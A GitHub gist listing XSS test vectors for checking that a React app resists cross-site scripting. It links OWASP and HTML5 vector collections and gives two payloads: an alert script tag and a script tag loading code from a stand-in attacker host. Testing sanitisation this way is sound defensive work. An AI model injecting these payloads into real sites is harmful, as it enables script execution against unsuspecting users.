stonexer
/ List of vectors for checking on XSS
Created
December 29, 2023 07:44
— forked from scabbiaza/List of vectors for checking on XSS
ReactJS - prevent XSS vulnerability
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Theory | |
| // http://htmlpurifier.org/live/smoketests/xssAttacks.php | |
| // https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | |
| // A full collection of HTML5 related XSS attack vectors: | |
| // https://github.com/cure53/H5SC https://raw.githubusercontent.com/cure53/H5SC/master/vectors.txt | |
| // Short list | |
| <script>alert("XSS: script tag")</script> | |
| <script src="http://hackers-site.powertofly.com"></script> |